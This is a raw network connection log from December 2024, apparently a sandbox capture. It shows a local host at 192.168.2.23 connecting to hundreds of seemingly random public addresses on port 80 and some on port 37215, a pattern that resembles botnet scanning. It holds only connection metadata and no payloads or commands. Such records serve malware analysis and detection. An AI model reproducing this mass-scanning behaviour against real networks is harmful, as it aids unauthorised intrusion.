Dec 3, 2024 21:30:51.436923981 CET	59010	80	192.168.2.23	216.149.230.70
Dec 3, 2024 21:30:51.436937094 CET	59010	80	192.168.2.23	32.113.219.43
Dec 3, 2024 21:30:51.436950922 CET	59010	80	192.168.2.23	9.225.116.158
Dec 3, 2024 21:30:51.436953068 CET	43754	80	192.168.2.23	4.17.178.247
Dec 3, 2024 21:30:51.436953068 CET	59010	80	192.168.2.23	89.137.97.101
Dec 3, 2024 21:30:51.436961889 CET	59010	80	192.168.2.23	74.25.102.94
Dec 3, 2024 21:30:51.436965942 CET	59010	80	192.168.2.23	199.173.93.239
Dec 3, 2024 21:30:51.436971903 CET	59010	80	192.168.2.23	36.6.2.149
Dec 3, 2024 21:30:51.436979055 CET	59010	80	192.168.2.23	51.237.43.130
Dec 3, 2024 21:30:51.436981916 CET	80	56708	8.103.67.204	192.168.2.23
Dec 3, 2024 21:30:51.436985970 CET	59010	80	192.168.2.23	176.84.208.169
Dec 3, 2024 21:30:51.436992884 CET	59010	80	192.168.2.23	219.231.179.164
Dec 3, 2024 21:30:51.436997890 CET	59010	80	192.168.2.23	178.95.68.106
Dec 3, 2024 21:30:51.436999083 CET	80	40520	96.227.56.195	192.168.2.23
Dec 3, 2024 21:30:51.437001944 CET	59010	80	192.168.2.23	99.148.206.128
Dec 3, 2024 21:30:51.437004089 CET	59010	80	192.168.2.23	114.3.4.94
Dec 3, 2024 21:30:51.437004089 CET	59010	80	192.168.2.23	53.211.77.205
Dec 3, 2024 21:30:51.437020063 CET	56708	80	192.168.2.23	8.103.67.204
Dec 3, 2024 21:30:51.437025070 CET	40520	80	192.168.2.23	96.227.56.195
Dec 3, 2024 21:30:51.437040091 CET	37215	52914	197.216.74.198	192.168.2.23
Dec 3, 2024 21:30:51.437045097 CET	59010	80	192.168.2.23	87.68.73.191
Dec 3, 2024 21:30:51.437046051 CET	59010	80	192.168.2.23	208.182.221.132
Dec 3, 2024 21:30:51.437047005 CET	59010	80	192.168.2.23	136.168.135.192
Dec 3, 2024 21:30:51.437048912 CET	59010	80	192.168.2.23	166.255.179.222
Dec 3, 2024 21:30:51.437055111 CET	80	50812	208.246.133.237	192.168.2.23
Dec 3, 2024 21:30:51.437058926 CET	59010	80	192.168.2.23	188.44.138.229
Dec 3, 2024 21:30:51.437066078 CET	80	46562	139.246.200.67	192.168.2.23
Dec 3, 2024 21:30:51.437067986 CET	59010	80	192.168.2.23	125.57.171.86
Dec 3, 2024 21:30:51.437068939 CET	59010	80	192.168.2.23	204.105.149.28
Dec 3, 2024 21:30:51.437072992 CET	59010	80	192.168.2.23	165.86.125.154
Dec 3, 2024 21:30:51.437072992 CET	52914	37215	192.168.2.23	197.216.74.198
Dec 3, 2024 21:30:51.437089920 CET	59010	80	192.168.2.23	101.127.253.133
Dec 3, 2024 21:30:51.437089920 CET	59010	80	192.168.2.23	203.69.165.133
Dec 3, 2024 21:30:51.437089920 CET	59010	80	192.168.2.23	223.187.150.84
Dec 3, 2024 21:30:51.437092066 CET	50812	80	192.168.2.23	208.246.133.237
Dec 3, 2024 21:30:51.437092066 CET	59010	80	192.168.2.23	149.112.235.106
Dec 3, 2024 21:30:51.437094927 CET	59010	80	192.168.2.23	68.206.106.231
Dec 3, 2024 21:30:51.437100887 CET	46562	80	192.168.2.23	139.246.200.67
Dec 3, 2024 21:30:51.437112093 CET	59010	80	192.168.2.23	148.126.152.91
Dec 3, 2024 21:30:51.437113047 CET	59010	80	192.168.2.23	115.196.201.208
Dec 3, 2024 21:30:51.437117100 CET	59010	80	192.168.2.23	45.105.190.12
Dec 3, 2024 21:30:51.437120914 CET	59010	80	192.168.2.23	40.255.165.249
Dec 3, 2024 21:30:51.437130928 CET	59010	80	192.168.2.23	52.34.47.161
Dec 3, 2024 21:30:51.437131882 CET	59010	80	192.168.2.23	122.79.107.177
Dec 3, 2024 21:30:51.437136889 CET	59010	80	192.168.2.23	197.149.36.140
Dec 3, 2024 21:30:51.437138081 CET	59010	80	192.168.2.23	151.158.190.24
Dec 3, 2024 21:30:51.437139034 CET	59010	80	192.168.2.23	73.237.118.153
Dec 3, 2024 21:30:51.437150955 CET	59010	80	192.168.2.23	95.148.140.22
Dec 3, 2024 21:30:51.437150955 CET	59010	80	192.168.2.23	83.226.185.89
Dec 3, 2024 21:30:51.437165976 CET	59010	80	192.168.2.23	150.71.220.62
Dec 3, 2024 21:30:51.437166929 CET	59010	80	192.168.2.23	153.31.162.97
Dec 3, 2024 21:30:51.437170029 CET	59010	80	192.168.2.23	75.123.198.25
Dec 3, 2024 21:30:51.437171936 CET	59010	80	192.168.2.23	27.25.8.137
Dec 3, 2024 21:30:51.437175035 CET	59010	80	192.168.2.23	145.243.110.35
Dec 3, 2024 21:30:51.437184095 CET	59010	80	192.168.2.23	134.85.126.246
Dec 3, 2024 21:30:51.437189102 CET	59010	80	192.168.2.23	85.72.7.112
Dec 3, 2024 21:30:51.437197924 CET	59010	80	192.168.2.23	110.26.44.16
Dec 3, 2024 21:30:51.437197924 CET	59010	80	192.168.2.23	80.36.151.138
Dec 3, 2024 21:30:51.437208891 CET	59010	80	192.168.2.23	81.20.91.59
Dec 3, 2024 21:30:51.437220097 CET	59010	80	192.168.2.23	190.31.244.227
Dec 3, 2024 21:30:51.437221050 CET	59010	80	192.168.2.23	176.68.245.124
Dec 3, 2024 21:30:51.437222004 CET	59010	80	192.168.2.23	13.205.58.229
Dec 3, 2024 21:30:51.437232971 CET	59010	80	192.168.2.23	43.29.37.23
Dec 3, 2024 21:30:51.437242031 CET	59010	80	192.168.2.23	86.143.204.237
Dec 3, 2024 21:30:51.437243938 CET	59010	80	192.168.2.23	212.237.221.20
Dec 3, 2024 21:30:51.437243938 CET	59010	80	192.168.2.23	120.89.20.183
Dec 3, 2024 21:30:51.437262058 CET	59010	80	192.168.2.23	101.213.244.247
Dec 3, 2024 21:30:51.437263966 CET	59010	80	192.168.2.23	57.125.203.130
Dec 3, 2024 21:30:51.437267065 CET	59010	80	192.168.2.23	24.95.199.62
Dec 3, 2024 21:30:51.437274933 CET	59010	80	192.168.2.23	159.122.234.121
Dec 3, 2024 21:30:51.437283993 CET	59010	80	192.168.2.23	84.172.187.93
Dec 3, 2024 21:30:51.437285900 CET	59010	80	192.168.2.23	32.22.191.1
Dec 3, 2024 21:30:51.437288046 CET	59010	80	192.168.2.23	76.84.239.14
Dec 3, 2024 21:30:51.437294960 CET	59010	80	192.168.2.23	176.20.83.64
Dec 3, 2024 21:30:51.437308073 CET	59010	80	192.168.2.23	153.130.107.146
Dec 3, 2024 21:30:51.437309027 CET	59010	80	192.168.2.23	112.220.252.192
Dec 3, 2024 21:30:51.437309980 CET	59010	80	192.168.2.23	46.184.146.45
Dec 3, 2024 21:30:51.437310934 CET	59010	80	192.168.2.23	159.174.10.57
Dec 3, 2024 21:30:51.437310934 CET	59010	80	192.168.2.23	5.91.114.213
Dec 3, 2024 21:30:51.437311888 CET	59010	80	192.168.2.23	140.164.35.49
Dec 3, 2024 21:30:51.437328100 CET	59010	80	192.168.2.23	83.134.148.139
Dec 3, 2024 21:30:51.437329054 CET	59010	80	192.168.2.23	92.206.96.118
Dec 3, 2024 21:30:51.437330961 CET	59010	80	192.168.2.23	216.125.170.162
Dec 3, 2024 21:30:51.437330961 CET	59010	80	192.168.2.23	220.1.201.64
Dec 3, 2024 21:30:51.437340975 CET	59010	80	192.168.2.23	146.83.170.211
Dec 3, 2024 21:30:51.437360048 CET	59010	80	192.168.2.23	48.86.32.187
Dec 3, 2024 21:30:51.437361956 CET	59010	80	192.168.2.23	135.46.255.84
Dec 3, 2024 21:30:51.437364101 CET	59010	80	192.168.2.23	91.59.55.20
Dec 3, 2024 21:30:51.437364101 CET	59010	80	192.168.2.23	89.122.107.101
Dec 3, 2024 21:30:51.437370062 CET	59010	80	192.168.2.23	27.135.186.175
Dec 3, 2024 21:30:51.437370062 CET	59010	80	192.168.2.23	2.217.153.37
Dec 3, 2024 21:30:51.437371016 CET	59010	80	192.168.2.23	149.7.208.22
Dec 3, 2024 21:30:51.437371969 CET	59010	80	192.168.2.23	138.63.88.16
Dec 3, 2024 21:30:51.437371016 CET	59010	80	192.168.2.23	128.169.178.90
Dec 3, 2024 21:30:51.437374115 CET	59010	80	192.168.2.23	216.150.3.22
Dec 3, 2024 21:30:51.437371969 CET	59010	80	192.168.2.23	40.117.61.188
Dec 3, 2024 21:30:51.437372923 CET	59010	80	192.168.2.23	138.231.184.27
Dec 3, 2024 21:30:51.437371969 CET	59010	80	192.168.2.23	173.124.218.115
Dec 3, 2024 21:30:51.437377930 CET	59010	80	192.168.2.23	190.69.64.57
Dec 3, 2024 21:30:51.437381983 CET	59010	80	192.168.2.23	63.194.117.104
Dec 3, 2024 21:30:51.437382936 CET	59010	80	192.168.2.23	96.153.19.238
Dec 3, 2024 21:30:51.437386036 CET	59010	80	192.168.2.23	40.146.64.183
Dec 3, 2024 21:30:51.437391043 CET	59010	80	192.168.2.23	189.20.142.58
Dec 3, 2024 21:30:51.437397957 CET	59010	80	192.168.2.23	61.36.213.132
Dec 3, 2024 21:30:51.437406063 CET	59010	80	192.168.2.23	148.175.114.78
Dec 3, 2024 21:30:51.437410116 CET	59010	80	192.168.2.23	166.82.249.242
Dec 3, 2024 21:30:51.437412977 CET	59010	80	192.168.2.23	48.38.238.64
Dec 3, 2024 21:30:51.437417030 CET	80	60088	81.168.40.42	192.168.2.23
Dec 3, 2024 21:30:51.437427998 CET	59010	80	192.168.2.23	136.9.17.68
Dec 3, 2024 21:30:51.437428951 CET	59010	80	192.168.2.23	211.182.110.22
Dec 3, 2024 21:30:51.437432051 CET	59010	80	192.168.2.23	42.4.220.115
Dec 3, 2024 21:30:51.437432051 CET	59010	80	192.168.2.23	172.128.119.183
Dec 3, 2024 21:30:51.437433958 CET	37215	49034	156.125.207.114	192.168.2.23
Dec 3, 2024 21:30:51.437438011 CET	59010	80	192.168.2.23	210.194.192.8
Dec 3, 2024 21:30:51.437443972 CET	59010	80	192.168.2.23	77.19.12.76
Dec 3, 2024 21:30:51.437453985 CET	59010	80	192.168.2.23	168.170.121.49
Dec 3, 2024 21:30:51.437458992 CET	49034	37215	192.168.2.23	156.125.207.114
Dec 3, 2024 21:30:51.437462091 CET	60088	80	192.168.2.23	81.168.40.42
Dec 3, 2024 21:30:51.437462091 CET	59010	80	192.168.2.23	2.168.35.139
Dec 3, 2024 21:30:51.437469959 CET	59010	80	192.168.2.23	160.13.3.202
Dec 3, 2024 21:30:51.437478065 CET	59010	80	192.168.2.23	129.240.53.160
Dec 3, 2024 21:30:51.437479973 CET	59010	80	192.168.2.23	69.253.2.195
Dec 3, 2024 21:30:51.437484026 CET	80	44796	148.66.215.250	192.168.2.23
Dec 3, 2024 21:30:51.437484980 CET	59010	80	192.168.2.23	136.102.79.138
Dec 3, 2024 21:30:51.437490940 CET	59010	80	192.168.2.23	73.132.116.41
Dec 3, 2024 21:30:51.437495947 CET	59010	80	192.168.2.23	201.78.9.241
Dec 3, 2024 21:30:51.437505007 CET	59010	80	192.168.2.23	2.158.17.196
Dec 3, 2024 21:30:51.437505960 CET	59010	80	192.168.2.23	17.87.213.103
Dec 3, 2024 21:30:51.437513113 CET	59010	80	192.168.2.23	184.9.44.99
Dec 3, 2024 21:30:51.437513113 CET	59010	80	192.168.2.23	43.133.204.136
Dec 3, 2024 21:30:51.437517881 CET	44796	80	192.168.2.23	148.66.215.250
Dec 3, 2024 21:30:51.437529087 CET	59010	80	192.168.2.23	146.247.176.137
Dec 3, 2024 21:30:51.437532902 CET	59010	80	192.168.2.23	39.205.70.174
Dec 3, 2024 21:30:51.437532902 CET	59010	80	192.168.2.23	151.127.42.159
Dec 3, 2024 21:30:51.437534094 CET	59010	80	192.168.2.23	139.253.36.58
Dec 3, 2024 21:30:51.437540054 CET	59010	80	192.168.2.23	51.84.100.28
Dec 3, 2024 21:30:51.437540054 CET	37215	57184	41.140.236.148	192.168.2.23
Dec 3, 2024 21:30:51.437549114 CET	59010	80	192.168.2.23	179.216.16.1
Dec 3, 2024 21:30:51.437557936 CET	37215	36100	197.116.233.17	192.168.2.23
Dec 3, 2024 21:30:51.437561989 CET	59010	80	192.168.2.23	208.209.99.51
Dec 3, 2024 21:30:51.437561989 CET	59010	80	192.168.2.23	75.111.76.29
Dec 3, 2024 21:30:51.437571049 CET	57184	37215	192.168.2.23	41.140.236.148
Dec 3, 2024 21:30:51.437577963 CET	59010	80	192.168.2.23	150.248.167.96
Dec 3, 2024 21:30:51.437581062 CET	59010	80	192.168.2.23	83.163.112.37
Dec 3, 2024 21:30:51.437593937 CET	36100	37215	192.168.2.23	197.116.233.17
Dec 3, 2024 21:30:51.437593937 CET	59010	80	192.168.2.23	156.195.199.214
Dec 3, 2024 21:30:51.437596083 CET	37215	38224	156.223.49.69	192.168.2.23
Dec 3, 2024 21:30:51.437598944 CET	59010	80	192.168.2.23	18.29.236.26
Dec 3, 2024 21:30:51.437604904 CET	59010	80	192.168.2.23	181.188.165.230
Dec 3, 2024 21:30:51.437612057 CET	59010	80	192.168.2.23	90.16.149.54
Dec 3, 2024 21:30:51.437622070 CET	59010	80	192.168.2.23	209.203.251.240
Dec 3, 2024 21:30:51.437629938 CET	59010	80	192.168.2.23	73.14.143.239
Dec 3, 2024 21:30:51.437630892 CET	59010	80	192.168.2.23	76.39.11.126
Dec 3, 2024 21:30:51.437630892 CET	59010	80	192.168.2.23	186.94.138.63
Dec 3, 2024 21:30:51.437630892 CET	38224	37215	192.168.2.23	156.223.49.69
Dec 3, 2024 21:30:51.437630892 CET	59010	80	192.168.2.23	170.82.133.78
Dec 3, 2024 21:30:51.437634945 CET	59010	80	192.168.2.23	32.70.175.218
Dec 3, 2024 21:30:51.437649012 CET	59010	80	192.168.2.23	163.1.238.66
Dec 3, 2024 21:30:51.437649965 CET	59010	80	192.168.2.23	20.124.137.38
Dec 3, 2024 21:30:51.437658072 CET	59010	80	192.168.2.23	125.205.96.112
Dec 3, 2024 21:30:51.437663078 CET	59010	80	192.168.2.23	24.75.106.84
Dec 3, 2024 21:30:51.437664032 CET	59010	80	192.168.2.23	86.78.140.242
Dec 3, 2024 21:30:51.437666893 CET	59010	80	192.168.2.23	222.220.45.181
Dec 3, 2024 21:30:51.437675953 CET	59010	80	192.168.2.23	40.18.132.134
Dec 3, 2024 21:30:51.437685013 CET	59010	80	192.168.2.23	196.59.180.93
Dec 3, 2024 21:30:51.437685013 CET	59010	80	192.168.2.23	90.60.41.192
Dec 3, 2024 21:30:51.437695980 CET	59010	80	192.168.2.23	183.70.220.156
Dec 3, 2024 21:30:51.437697887 CET	59010	80	192.168.2.23	175.189.14.160
Dec 3, 2024 21:30:51.437697887 CET	59010	80	192.168.2.23	128.14.57.239
Dec 3, 2024 21:30:51.437697887 CET	59010	80	192.168.2.23	122.139.247.119
Dec 3, 2024 21:30:51.437702894 CET	59010	80	192.168.2.23	193.206.141.177
Dec 3, 2024 21:30:51.437705994 CET	59010	80	192.168.2.23	165.222.78.213
Dec 3, 2024 21:30:51.437707901 CET	59010	80	192.168.2.23	96.234.219.160
Dec 3, 2024 21:30:51.437714100 CET	59010	80	192.168.2.23	136.165.162.170
Dec 3, 2024 21:30:51.437721014 CET	59010	80	192.168.2.23	78.18.70.203
Dec 3, 2024 21:30:51.437721014 CET	59010	80	192.168.2.23	181.244.239.84
Dec 3, 2024 21:30:51.437721014 CET	59010	80	192.168.2.23	35.64.79.24
Dec 3, 2024 21:30:51.437721014 CET	59010	80	192.168.2.23	110.83.180.15
Dec 3, 2024 21:30:51.437724113 CET	59010	80	192.168.2.23	89.173.104.35
Dec 3, 2024 21:30:51.437727928 CET	59010	80	192.168.2.23	111.251.209.20
Dec 3, 2024 21:30:51.437731981 CET	59010	80	192.168.2.23	45.175.13.22
Dec 3, 2024 21:30:51.437741041 CET	59010	80	192.168.2.23	103.85.79.84
Dec 3, 2024 21:30:51.437742949 CET	59010	80	192.168.2.23	123.158.39.17
Dec 3, 2024 21:30:51.437746048 CET	59010	80	192.168.2.23	27.203.82.164
Dec 3, 2024 21:30:51.437750101 CET	59010	80	192.168.2.23	121.156.193.222
Dec 3, 2024 21:30:51.437751055 CET	59010	80	192.168.2.23	194.78.12.67
Dec 3, 2024 21:30:51.437751055 CET	59010	80	192.168.2.23	104.82.181.69
Dec 3, 2024 21:30:51.437757969 CET	59010	80	192.168.2.23	223.163.195.38
Dec 3, 2024 21:30:51.437767029 CET	59010	80	192.168.2.23	88.205.206.73
Dec 3, 2024 21:30:51.437767029 CET	59010	80	192.168.2.23	131.62.195.83
Dec 3, 2024 21:30:51.437767029 CET	59010	80	192.168.2.23	72.36.241.28
Dec 3, 2024 21:30:51.437771082 CET	59010	80	192.168.2.23	99.102.131.102
Dec 3, 2024 21:30:51.437783003 CET	59010	80	192.168.2.23	220.247.147.132
Dec 3, 2024 21:30:51.437786102 CET	59010	80	192.168.2.23	212.244.237.38
Dec 3, 2024 21:30:51.437789917 CET	59010	80	192.168.2.23	168.8.163.134
Dec 3, 2024 21:30:51.437794924 CET	59010	80	192.168.2.23	130.232.86.149
Dec 3, 2024 21:30:51.437803984 CET	59010	80	192.168.2.23	143.114.129.63
Dec 3, 2024 21:30:51.437812090 CET	59010	80	192.168.2.23	184.11.250.102
Dec 3, 2024 21:30:51.437812090 CET	59010	80	192.168.2.23	223.234.15.61
Dec 3, 2024 21:30:51.437822104 CET	59010	80	192.168.2.23	180.53.141.152
Dec 3, 2024 21:30:51.437824965 CET	59010	80	192.168.2.23	212.240.101.164
Dec 3, 2024 21:30:51.437824965 CET	59010	80	192.168.2.23	139.220.4.153
Dec 3, 2024 21:30:51.437849045 CET	59010	80	192.168.2.23	164.58.63.1
Dec 3, 2024 21:30:51.437850952 CET	59010	80	192.168.2.23	153.82.83.125
Dec 3, 2024 21:30:51.437850952 CET	59010	80	192.168.2.23	81.248.227.179
Dec 3, 2024 21:30:51.437856913 CET	59010	80	192.168.2.23	54.96.169.152
Dec 3, 2024 21:30:51.437856913 CET	59010	80	192.168.2.23	59.146.98.187
Dec 3, 2024 21:30:51.437856913 CET	59010	80	192.168.2.23	114.121.15.57
Dec 3, 2024 21:30:51.437861919 CET	59010	80	192.168.2.23	104.93.26.247
Dec 3, 2024 21:30:51.437863111 CET	59010	80	192.168.2.23	80.223.148.125
Dec 3, 2024 21:30:51.437866926 CET	59010	80	192.168.2.23	138.208.126.67
Dec 3, 2024 21:30:51.437866926 CET	59010	80	192.168.2.23	58.228.211.49
Dec 3, 2024 21:30:51.437866926 CET	59010	80	192.168.2.23	36.21.184.252
Dec 3, 2024 21:30:51.437870979 CET	59010	80	192.168.2.23	135.242.234.207
Dec 3, 2024 21:30:51.437870979 CET	59010	80	192.168.2.23	112.165.129.208
Dec 3, 2024 21:30:51.437879086 CET	59010	80	192.168.2.23	220.9.20.140
Dec 3, 2024 21:30:51.437879086 CET	59010	80	192.168.2.23	47.9.216.160
Dec 3, 2024 21:30:51.437880039 CET	59010	80	192.168.2.23	27.127.132.237
Dec 3, 2024 21:30:51.437884092 CET	59010	80	192.168.2.23	2.27.246.250
Dec 3, 2024 21:30:51.437891006 CET	59010	80	192.168.2.23	204.247.126.175
Dec 3, 2024 21:30:51.437906981 CET	59010	80	192.168.2.23	67.100.105.82
Dec 3, 2024 21:30:51.437906981 CET	59010	80	192.168.2.23	216.253.86.92
Dec 3, 2024 21:30:51.437910080 CET	59010	80	192.168.2.23	121.83.42.138
Dec 3, 2024 21:30:51.437917948 CET	59010	80	192.168.2.23	126.21.152.16
Dec 3, 2024 21:30:51.437920094 CET	59010	80	192.168.2.23	141.196.242.103
Dec 3, 2024 21:30:51.437936068 CET	59010	80	192.168.2.23	62.19.136.126
Dec 3, 2024 21:30:51.437938929 CET	59010	80	192.168.2.23	156.43.152.239
Dec 3, 2024 21:30:51.437938929 CET	59010	80	192.168.2.23	50.22.46.176
Dec 3, 2024 21:30:51.437938929 CET	59010	80	192.168.2.23	190.186.157.122
Dec 3, 2024 21:30:51.437938929 CET	59010	80	192.168.2.23	144.199.237.4
Dec 3, 2024 21:30:51.437952995 CET	59010	80	192.168.2.23	220.207.63.125
Dec 3, 2024 21:30:51.437953949 CET	59010	80	192.168.2.23	181.130.81.69
Dec 3, 2024 21:30:51.437958002 CET	59010	80	192.168.2.23	176.65.230.164
Dec 3, 2024 21:30:51.437961102 CET	59010	80	192.168.2.23	150.241.74.18
Dec 3, 2024 21:30:51.437971115 CET	59010	80	192.168.2.23	88.90.5.248
Dec 3, 2024 21:30:51.437973022 CET	59010	80	192.168.2.23	130.88.25.0
Dec 3, 2024 21:30:51.437977076 CET	59010	80	192.168.2.23	114.218.212.5
Dec 3, 2024 21:30:51.437985897 CET	59010	80	192.168.2.23	94.171.51.183
Dec 3, 2024 21:30:51.437992096 CET	59010	80	192.168.2.23	83.53.253.50
Dec 3, 2024 21:30:51.437992096 CET	59010	80	192.168.2.23	213.219.247.198
Dec 3, 2024 21:30:51.438005924 CET	59010	80	192.168.2.23	44.215.195.182
Dec 3, 2024 21:30:51.438009024 CET	59010	80	192.168.2.23	99.86.207.133
Dec 3, 2024 21:30:51.438015938 CET	59010	80	192.168.2.23	13.140.77.52
Dec 3, 2024 21:30:51.438019991 CET	59010	80	192.168.2.23	179.158.229.229
Dec 3, 2024 21:30:51.438019991 CET	59010	80	192.168.2.23	58.40.198.218
Dec 3, 2024 21:30:51.438024998 CET	59010	80	192.168.2.23	144.161.255.44
Dec 3, 2024 21:30:51.438060999 CET	59010	80	192.168.2.23	102.98.70.37
Dec 3, 2024 21:30:51.438061953 CET	59010	80	192.168.2.23	216.225.66.210
Dec 3, 2024 21:30:51.438062906 CET	59010	80	192.168.2.23	12.166.29.100
Dec 3, 2024 21:30:51.438062906 CET	59010	80	192.168.2.23	91.197.197.130
Dec 3, 2024 21:30:51.438066959 CET	59010	80	192.168.2.23	70.1.230.239
Dec 3, 2024 21:30:51.438066959 CET	59010	80	192.168.2.23	99.35.68.69
Dec 3, 2024 21:30:51.438067913 CET	59010	80	192.168.2.23	160.103.129.45
Dec 3, 2024 21:30:51.438071966 CET	59010	80	192.168.2.23	171.158.171.25
Dec 3, 2024 21:30:51.438080072 CET	59010	80	192.168.2.23	42.39.3.235
Dec 3, 2024 21:30:51.438080072 CET	59010	80	192.168.2.23	41.136.182.133
Dec 3, 2024 21:30:51.438082933 CET	59010	80	192.168.2.23	125.10.194.220
Dec 3, 2024 21:30:51.438083887 CET	59010	80	192.168.2.23	13.132.112.124
Dec 3, 2024 21:30:51.438083887 CET	59010	80	192.168.2.23	141.163.11.94
Dec 3, 2024 21:30:51.438083887 CET	59010	80	192.168.2.23	85.203.33.130
Dec 3, 2024 21:30:51.438085079 CET	59010	80	192.168.2.23	196.15.49.228
Dec 3, 2024 21:30:51.438085079 CET	59010	80	192.168.2.23	80.8.97.190
Dec 3, 2024 21:30:51.438086987 CET	59010	80	192.168.2.23	47.182.158.250
Dec 3, 2024 21:30:51.438086987 CET	59010	80	192.168.2.23	157.66.150.224
Dec 3, 2024 21:30:51.438086987 CET	59010	80	192.168.2.23	76.206.137.76
Dec 3, 2024 21:30:51.438086987 CET	59010	80	192.168.2.23	164.19.145.43
Dec 3, 2024 21:30:51.438086987 CET	59010	80	192.168.2.23	154.71.84.216
Dec 3, 2024 21:30:51.438086987 CET	59010	80	192.168.2.23	149.216.70.249
Dec 3, 2024 21:30:51.438086987 CET	59010	80	192.168.2.23	79.13.247.66
Dec 3, 2024 21:30:51.438086987 CET	59010	80	192.168.2.23	101.115.9.140
Dec 3, 2024 21:30:51.438086987 CET	59010	80	192.168.2.23	98.254.9.232
Dec 3, 2024 21:30:51.438086987 CET	59010	80	192.168.2.23	17.107.173.56
Dec 3, 2024 21:30:51.438091040 CET	59010	80	192.168.2.23	145.28.27.91
Dec 3, 2024 21:30:51.438098907 CET	59010	80	192.168.2.23	110.67.140.73
Dec 3, 2024 21:30:51.438101053 CET	59010	80	192.168.2.23	125.221.148.139
Dec 3, 2024 21:30:51.438101053 CET	59010	80	192.168.2.23	149.166.108.151
Dec 3, 2024 21:30:51.438101053 CET	59010	80	192.168.2.23	105.120.111.78
Dec 3, 2024 21:30:51.438101053 CET	59010	80	192.168.2.23	8.74.77.122
Dec 3, 2024 21:30:51.438103914 CET	59010	80	192.168.2.23	62.94.196.226
Dec 3, 2024 21:30:51.438103914 CET	59010	80	192.168.2.23	199.181.103.73
Dec 3, 2024 21:30:51.438103914 CET	59010	80	192.168.2.23	110.152.167.251
Dec 3, 2024 21:30:51.438103914 CET	59010	80	192.168.2.23	189.10.206.226
Dec 3, 2024 21:30:51.438112020 CET	59010	80	192.168.2.23	34.251.235.13
Dec 3, 2024 21:30:51.438116074 CET	59010	80	192.168.2.23	63.190.237.202
Dec 3, 2024 21:30:51.438116074 CET	59010	80	192.168.2.23	74.115.42.84
Dec 3, 2024 21:30:51.438117027 CET	59010	80	192.168.2.23	27.178.231.149
Dec 3, 2024 21:30:51.438119888 CET	59010	80	192.168.2.23	223.22.103.173
Dec 3, 2024 21:30:51.438122034 CET	59010	80	192.168.2.23	51.247.61.178
Dec 3, 2024 21:30:51.438124895 CET	59010	80	192.168.2.23	84.141.61.71
Dec 3, 2024 21:30:51.438129902 CET	59010	80	192.168.2.23	147.61.164.193
Dec 3, 2024 21:30:51.438142061 CET	59010	80	192.168.2.23	24.145.47.145
Dec 3, 2024 21:30:51.438142061 CET	59010	80	192.168.2.23	118.47.114.37
Dec 3, 2024 21:30:51.438142061 CET	59010	80	192.168.2.23	146.75.47.109
Dec 3, 2024 21:30:51.438153028 CET	59010	80	192.168.2.23	114.215.42.103
Dec 3, 2024 21:30:51.438157082 CET	59010	80	192.168.2.23	32.59.197.132
Dec 3, 2024 21:30:51.438164949 CET	59010	80	192.168.2.23	132.95.160.183
Dec 3, 2024 21:30:51.438173056 CET	59010	80	192.168.2.23	184.43.194.25
Dec 3, 2024 21:30:51.438173056 CET	59010	80	192.168.2.23	85.122.174.128
Dec 3, 2024 21:30:51.438178062 CET	59010	80	192.168.2.23	74.103.23.23
Dec 3, 2024 21:30:51.438179016 CET	59010	80	192.168.2.23	203.23.25.164
Dec 3, 2024 21:30:51.438211918 CET	59010	80	192.168.2.23	156.155.12.235
Dec 3, 2024 21:30:51.438213110 CET	59010	80	192.168.2.23	216.146.157.101
Dec 3, 2024 21:30:51.438213110 CET	59010	80	192.168.2.23	48.149.166.86
Dec 3, 2024 21:30:51.438220024 CET	59010	80	192.168.2.23	42.248.153.242
Dec 3, 2024 21:30:51.438227892 CET	59010	80	192.168.2.23	154.83.50.128
Dec 3, 2024 21:30:51.438240051 CET	59010	80	192.168.2.23	180.108.156.27
Dec 3, 2024 21:30:51.438241959 CET	59010	80	192.168.2.23	177.71.200.17
Dec 3, 2024 21:30:51.438247919 CET	59010	80	192.168.2.23	170.129.29.3
Dec 3, 2024 21:30:51.438251972 CET	59010	80	192.168.2.23	88.215.57.240
Dec 3, 2024 21:30:51.438257933 CET	59010	80	192.168.2.23	122.119.153.1
Dec 3, 2024 21:30:51.438268900 CET	59010	80	192.168.2.23	176.236.45.99
Dec 3, 2024 21:30:51.438268900 CET	59010	80	192.168.2.23	31.137.38.114
Dec 3, 2024 21:30:51.438280106 CET	59010	80	192.168.2.23	79.167.182.160
Dec 3, 2024 21:30:51.438282013 CET	59010	80	192.168.2.23	34.114.70.46
Dec 3, 2024 21:30:51.438282967 CET	59010	80	192.168.2.23	78.154.165.3
Dec 3, 2024 21:30:51.438288927 CET	59010	80	192.168.2.23	73.40.24.5
Dec 3, 2024 21:30:51.438297987 CET	59010	80	192.168.2.23	170.243.122.86
Dec 3, 2024 21:30:51.438308954 CET	59010	80	192.168.2.23	47.237.128.5
Dec 3, 2024 21:30:51.438308954 CET	59010	80	192.168.2.23	190.241.41.248
Dec 3, 2024 21:30:51.438519001 CET	50812	80	192.168.2.23	208.246.133.237
Dec 3, 2024 21:30:51.438528061 CET	60540	80	192.168.2.23	145.105.254.172
Dec 3, 2024 21:30:51.438534975 CET	40168	80	192.168.2.23	5.104.106.96
Dec 3, 2024 21:30:51.438538074 CET	51818	80	192.168.2.23	46.19.30.11
Dec 3, 2024 21:30:51.438555002 CET	60662	80	192.168.2.23	104.234.241.23
Dec 3, 2024 21:30:51.438555002 CET	40520	80	192.168.2.23	96.227.56.195
Dec 3, 2024 21:30:51.438555956 CET	60088	80	192.168.2.23	81.168.40.42
Dec 3, 2024 21:30:51.438572884 CET	47700	80	192.168.2.23	136.13.75.65
Dec 3, 2024 21:30:51.438576937 CET	38450	80	192.168.2.23	25.253.247.243
Dec 3, 2024 21:30:51.438585997 CET	57412	80	192.168.2.23	23.46.95.33
Dec 3, 2024 21:30:51.438587904 CET	34086	80	192.168.2.23	92.42.91.229
Dec 3, 2024 21:30:51.438601017 CET	46562	80	192.168.2.23	139.246.200.67
Dec 3, 2024 21:30:51.438606024 CET	35318	80	192.168.2.23	142.202.33.132
Dec 3, 2024 21:30:51.438615084 CET	38728	80	192.168.2.23	42.199.59.6
Dec 3, 2024 21:30:51.438616991 CET	35064	80	192.168.2.23	24.149.246.129
Dec 3, 2024 21:30:51.438627005 CET	48184	80	192.168.2.23	216.131.217.108
Dec 3, 2024 21:30:51.438631058 CET	45976	80	192.168.2.23	171.48.150.224
Dec 3, 2024 21:30:51.438632011 CET	44796	80	192.168.2.23	148.66.215.250
Dec 3, 2024 21:30:51.438647032 CET	59102	80	192.168.2.23	217.117.141.188
Dec 3, 2024 21:30:51.438653946 CET	42290	80	192.168.2.23	24.242.230.192
Dec 3, 2024 21:30:51.438666105 CET	43754	80	192.168.2.23	4.17.178.247
